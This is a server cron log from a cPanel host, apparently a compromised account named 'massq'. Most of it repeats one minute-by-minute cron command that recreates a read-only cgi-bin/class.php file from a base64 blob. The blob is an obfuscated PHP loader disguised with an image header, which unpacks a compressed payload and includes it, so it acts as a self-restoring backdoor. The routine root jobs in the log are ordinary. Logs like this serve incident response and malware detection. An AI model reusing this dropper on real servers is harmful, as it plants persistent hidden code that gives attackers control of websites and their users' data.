Nov 13 09:32:01 server CROND[18476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:33:01 server CROND[19341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:34:01 server CROND[20139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:35:01 server CROND[21102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:35:01 server CROND[21104]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 09:35:01 server CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 09:35:01 server CROND[21114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:35:01 server CROND[21113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:36:01 server CROND[22035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:37:01 server CROND[22805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:38:01 server CROND[23672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:39:01 server CROND[24552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:39:01 server CROND[24553]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:40:01 server CROND[25481]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:40:01 server CROND[25482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:40:01 server CROND[25485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:40:01 server CROND[25484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:41:01 server CROND[26627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:42:01 server CROND[27496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:42:01 server CROND[27495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:43:01 server CROND[28346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:44:01 server CROND[29150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:45:01 server CROND[29756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:45:01 server CROND[29758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
